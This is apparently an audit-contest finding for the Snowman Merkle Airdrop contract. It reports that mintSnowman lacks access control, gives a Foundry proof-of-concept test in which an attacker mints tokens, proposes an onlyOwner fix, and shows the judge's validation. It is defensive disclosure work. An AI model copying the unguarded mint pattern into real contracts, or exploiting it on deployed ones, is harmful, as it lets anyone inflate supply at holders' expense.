Snowman Merkle Airdrop

First Flight #42
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Missing Access control

Root + Impact

Description

  • The mintSnowman function is external and publicly callable by anyone.

  • This means anyone can mint unlimited tokens to any address.

// >>> EXTERNAL FUNCTIONS
function mintSnowman(address receiver, uint256 amount) external {
@> // there are no restrictions on who can mint snowmen
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Risk

Likelihood:

  • The likelihood of this happening is High as anyone can call the mintSnowman function.


Impact:

  • Impact : High

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console2} from "forge-std/Test.sol";
import {Snowman} from "../src/Snowman.sol";
import {DeploySnowman} from "../script/DeploySnowman.s.sol";
contract TestSnowman is Test {
Snowman nft;
DeploySnowman deployer;
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address attacker = makeAddr("attacker");
string constant NAME = "Snowman Airdrop";
string constant SYMBOL = "SNOWMAN";
function setUp() public {
deployer = new DeploySnowman();
nft = deployer.run();
}
function testMintSnowman() public {
nft.mintSnowman(alice, 1);
nft.mintSnowman(bob, 2);
// Attacker can also mint snowmen
vm.prank(attacker);
nft.mintSnowman(attacker, 5);
for (uint256 i = 3; i < 8; i++) {
assertEq(nft.ownerOf(i), attacker, "Attacker should own the minted snowmen");
}
assert(nft.ownerOf(0) == alice);
assert(nft.ownerOf(1) == bob);
assert(nft.ownerOf(2) == bob);
assert(nft.ownerOf(3) == attacker);
assert(nft.balanceOf(alice) == 1);
assert(nft.balanceOf(bob) == 2);
// We can see that attacker a random address can also mint snowmen
assert(nft.balanceOf(attacker) == 5);
assert(nft.getTokenCounter() == 8);
}
}

Recommended Mitigation

// Add onlyOwner
+ function mintSnowman(address receiver, uint256 amount) external onlyOwner {
// Mint logic
}
```
Updates

Lead Judging Commences

yeahchibyke Lead Judge 24 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unrestricted NFT mint function

The mint function of the Snowman contract is unprotected. Hence, anyone can call it and mint NFTs without necessarily partaking in the airdrop.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.